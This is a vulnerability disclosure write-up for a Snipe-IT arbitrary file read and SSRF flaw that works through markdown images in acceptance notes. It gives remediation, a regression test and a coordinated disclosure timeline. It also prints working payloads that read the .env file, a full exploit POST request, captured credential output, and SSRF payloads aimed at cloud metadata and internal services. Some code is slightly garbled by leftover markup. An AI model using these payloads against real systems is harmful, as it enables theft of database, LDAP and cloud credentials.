HIGH · 8.4 Snipe-ITCVEVulnerability Research

CVE-2026-86751: Snipe-IT Arbitrary File Read and SSRF via Acceptance Note Injection

How I discovered a critical vulnerability in Snipe-IT that allows any authenticated user to read arbitrary server files and perform SSRF attacks through a simple markdown image in an acceptance note.

Adam NurudiniAdam Nurudini 13 SEPT 2026 9 min read CVE-2026-86751
CVE-2026-86751: Snipe-IT Arbitrary File Read and SSRF via Acceptance Note Injection
⚡
TL;DR

Submit ![x](/var/www/html/.env) in an acceptance note. The laravel-mail-auto-embed library resolves image sources via file_get_contents() and attaches them to outbound emails. With send_copy checked (default), the attacker receives .env containing APP_KEY, database credentials, and LDAP passwords directly in their inbox — one POST request, full credential exfiltration.

Introduction

During security research on Snipe-IT, a popular open-source IT asset management system, I discovered a critical vulnerability that allows any authenticated user to read arbitrary files from the server and perform SSRF attacks. The attack requires only a pending checkout acceptance — Snipe-IT's core business flow — and delivers exfiltrated data directly to the attacker's own email inbox.

No special permissions required. No admin interaction needed. One POST request exfiltrates your .env file.

Affected Components

ComponentLocationRole
ControllerAcceptanceController.phpAccepts unsanitized note field
Templateasset-acceptance.blade.phpRenders note through CommonMark
Packagelaravel-mail-auto-embedResolves img src via file_get_contents()
Configmail-auto-embed.phpMAIL_AUTO_EMBED defaults to true

Root Cause

The vulnerability chains four separate weaknesses:

1. Auto-Embed Enabled by Default

Snipe-IT ships with laravel-mail-auto-embed configured to automatically embed images in all outbound emails:

phpconfig/mail-auto-embed.php
'enabled' => env('MAIL_AUTO_EMBED', true),  // Defaults to TRUE

The shipped .env.example never sets MAIL_AUTO_EMBED, only MAIL_AUTO_EMBED_METHOD — so this is enabled on every default installation.

2. Note Field Stored Unsanitized

The acceptance controller passes user input directly to the notification without any sanitization:

phpAcceptanceController.php
// Data array passed to notifications
'note' => $request->input('note'),  // No strip_tags, no filtering
...
// Sent to admin
$acceptance->notify(new AcceptanceItemAcceptedNotification($data));
// Sent to submitting user if send_copy=1
$assignedUser->notify(new AcceptanceItemAcceptedToUserNotification($data));

3. Blade Escaping Doesn't Stop Markdown

The note is rendered in a Blade template using {{ }} syntax:

bladeasset-acceptance.blade.php
| **{{ trans('general.notes') }}** | {{ $note }} |

Blade's {{ }} escapes HTML metacharacters (< > & " '), but not markdown syntax characters (! [ ] ( )). The input ![x](/etc/passwd) contains no HTML special characters, survives escaping intact, and Laravel's markdown-mail pipeline then runs it through CommonMark — expanding it to <img src="/etc/passwd" alt="x">.

4. Mail-Auto-Embed Has No Path Restrictions

The library resolves every <img src> it finds without any scheme or path validation:

phpSymfonyEmbedImages.php (simplified)
if (filter_var($src, FILTER_VALIDATE_URL) !== false) {
    return $embedder->fromUrl($src);      // curl_init($src) — SSRF
}
...
if (file_exists($src)) {
    return $embedder->fromPath($src);     // file_get_contents($src) — LFR
}
⚠️
No allowlist

URL-shaped sources trigger server-side HTTP requests (SSRF). Everything else is checked directly against the filesystem — if the file exists, it's read with file_get_contents() and attached as a MIME part.

Self-Exfiltration: The Critical Detail

The send_copy checkbox is checked by default in the acceptance form. When enabled, AcceptanceItemAcceptedToUserNotification is dispatched to the attacker's own email address using the same vulnerable template with the same attachments.

The attacker doesn't need to intercept admin emails or have any special access — they receive the exfiltrated files directly in their inbox.

Exploitation

Prerequisites

  • Any authenticated user account
  • A pending checkout acceptance (admin checked out an asset to you from a category with require_acceptance=1)
  • That's it — no elevated permissions required

Tested against Snipe-IT master @ commit 4c5dd9a using the official Docker setup with MailHog capturing outbound mail.

Step 1: Submit Malicious Acceptance Note

httpPOST /account/accept/12
POST /account/accept/12 HTTP/1.1
Host: localhost:8000
Cookie: snipeit_session=<lowuser session, no elevated permissions>
Content-Type: application/x-www-form-urlencoded

_token=<csrf> &asset_acceptance=accepted &note=!hostname+and+!env &send_copy=1

Response: HTTP/1.1 302 Found — identical to a benign acceptance. No client-visible indication the payload was processed.

Step 2: Receive Exfiltrated Files

The attacker's inbox now contains an acceptance confirmation email with MIME attachments:

textMailHog capture — 15.5 kB (normal is ~2 kB)
Subject: ACCEPTED: Low Test has accepted #F41-AUTO-001
To: lowuser@test.local

MIME parts: [1] text/plain; name=hostname Content-Disposition: inline; filename=hostname body: "e954197dcc35\n" ← /etc/hostname

[2] text/x-file; name=.env Content-Disposition: inline; filename=.env body: APP_KEY=base64:xxxxxxx DB_CONNECTION=mysql DB_HOST=mariadb DB_PASSWORD=snipeit_db_password MAIL_PASSWORD=mail_password LDAP_PASSWORD=ldap_bind_password ... ← 2,352 bytes

✓
Complete credential exfiltration

One POST request. No admin interaction. The attacker receives their own copy of this email with full .env attached.

SSRF Variant

The same mechanism works for internal HTTP requests — add a URL-shaped source:

textSSRF payloads
note=![aws](http://169.254.169.254/latest/meta-data/iam/security-credentials/)
     ![internal](http://localhost/admin)
     ![redis](http://redis:6379/)

The mail worker issues HTTP GETs to each URL and attaches the responses:

  • AWS IMDSv1 at 169.254.169.254 — IAM credential exfiltration
  • GCP metadata at metadata.google.internal — service account tokens
  • Azure IMDS at 169.254.169.254 — managed identity tokens
  • Internal services: Redis, Elasticsearch, admin panels reachable from the app server

I confirmed connectivity to mariadb:3306 on the internal Docker network — the connection succeeds (no MIME attachment because raw MySQL wire protocol isn't HTTP, but the reach is proven).

Impact

Confidentiality HIGH

Read .env (APP_KEY, DB_PASSWORD, LDAP_PASSWORD), SSH keys, cloud IAM credentials, any server-readable file.

Integrity LOW

Direct integrity impact is limited, but stolen credentials enable subsequent attacks.

Availability NONE

No direct availability impact.

Subsequent System Impact

The CVSS 4.0 "Subsequent" metrics capture the downstream impact on systems beyond Snipe-IT. With APP_KEY and credentials exfiltrated, an attacker can:

  1. Forge session cookies — impersonate any user, including superadmins (SC:H, SI:L)
  2. Decrypt encrypted database values — ldap_pword, OAuth secrets, 2FA backup codes
  3. Forge signed URLs — bypass email verification, password resets
  4. Access downstream systems — database server, LDAP directory, cloud infrastructure

This explains the High subsequent confidentiality (SC:H) rating — the vulnerability's impact extends far beyond the application itself.

Why Scope is Changed

The leaked credentials impact systems beyond Snipe-IT:

  • Database server — direct access with DB_PASSWORD
  • LDAP/AD directory — organization-wide access with LDAP_PASSWORD
  • Cloud infrastructure — IAM role assumption on AWS/GCP/Azure via metadata SSRF

Low Barrier to Exploitation

No special role or permission grants are required. Any user who has ever had a single asset, license seat, or accessory checked out to them from a category requiring acceptance can trigger this. This is common in ordinary Snipe-IT usage, not an edge case.

CVSS Breakdown

CVSS 4.0 Base Score: 8.4 (High) — per VulnCheck CNA

Vector: AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N

MetricValueRationale
Attack Vector (AV)NetworkSingle POST request over HTTP
Attack Complexity (AC)LowNo race conditions, no special config
Attack Requirements (AT)NoneDefault configuration is vulnerable
Privileges Required (PR)LowAny authenticated user with pending acceptance
User Interaction (UI)NoneSelf-exfiltration via send_copy — no admin action
Vulnerable Confidentiality (VC)HighFull .env, cloud credentials, any readable file
Vulnerable Integrity (VI)LowIndirect integrity impact via credential theft
Vulnerable Availability (VA)NoneNo direct availability impact
Subsequent Confidentiality (SC)HighImpacts database, LDAP, cloud infrastructure
Subsequent Integrity (SI)LowSession forgery possible with APP_KEY
Subsequent Availability (SA)NoneNo subsequent availability impact

Remediation

Immediate Mitigation

Add this to your .env file — no code change required:

env.env
MAIL_AUTO_EMBED=false

This disables laravel-mail-auto-embed globally and closes the vulnerability immediately.

Code-Level Fix

phpAcceptanceController.php — defense in depth
// Strip markdown image syntax before it reaches notifications
$note = $request->input('note') ?? '';
$note = preg_replace('/!\[[^\]]*\]\([^)]*\)/', '', $note);
$note = strip_tags($note);
1
Change the default

Set env('MAIL_AUTO_EMBED', false) in config/mail-auto-embed.php.

2
Sanitize user input

Strip markdown image syntax and HTML tags from acceptance notes before notification.

3
Validate img src schemes

In Helper::renderMarkdown, reject any <img src> that isn't https:, cid:, or a whitelisted asset path.

4
Scope auto-embed

If auto-embed is needed for logos, apply it only to specific developer-authored templates, not all outbound mail.

Regression Test

phpAcceptanceNoteSecurityTest.php
public function test_acceptance_note_cannot_exfiltrate_local_file()
{
    Notification::fake();
    $user = User::factory()->create();
    $acceptance = CheckoutAcceptance::factory()->create([
        'assigned_to_id' => $user->id,
    ]);
$this->actingAs($user)->post(route('account.accept.store', $acceptance), [
    'asset_acceptance' => 'accepted',
    'note' => '&#33;[x](/etc/hostname)',
]);

Notification::assertSentTo($user, <span class="k">function</span> ($n) <span class="k">use</span> ($user) {
    $rendered = $n->toMail($user)->render();
    <span class="k">return</span> !preg_match('#&lt;img[^&gt;]+src="(/|file:)[^"]*"#i', $rendered);
});

}

Timeline

  1. 29 Jul 2026
    Discovered

    Root cause identified during source review of AcceptanceController.

  2. 30 Jul 2026
    Reproduced

    End-to-end exploitation verified: .env and internal HTTP responses confirmed as MIME attachments.

  3. 31 Jul 2026
    Disclosed

    Reported to security@snipeitapp.com under 90-day coordinated disclosure.

  4. 24 Aug 2026
    Patched

    Fix released in version 8.7.0. GHSA-f3vq-g24v-xc2g published.

  5. 11 Sep 2026
    CVE Assigned

    CVE-2026-86751 issued.

References

The Lesson

User input flowing through multiple rendering stages can bypass individual protections. Blade escaping, CommonMark parsing, and mail-auto-embed each work correctly in isolation — combined, they create an arbitrary file read primitive.

This vulnerability demonstrates how defense-in-depth failures emerge from the interaction of components that are each secure on their own:

  1. Blade escaping works — but markdown syntax isn't HTML
  2. CommonMark works — but it trusts its input
  3. Mail-auto-embed works — but it has no path restrictions
  4. The default config works — but it enables a dangerous feature

The self-exfiltration aspect makes this especially severe: the send_copy checkbox turns a server-side vulnerability into a direct data channel to the attacker. No admin inbox access required, no network interception, no additional steps — submit the payload, check your email.

If you're running Snipe-IT < 8.7.0, update immediately or set MAIL_AUTO_EMBED=false in your .env.


This vulnerability was discovered through security research and responsibly disclosed to the vendor under coordinated disclosure. All testing was performed against isolated Docker deployments.

Adam Nurudini
Written by

Adam Nurudini

Offensive Security Consultant specializing in vulnerability research, penetration testing, and red team operations. Published CVE author.

Back to all posts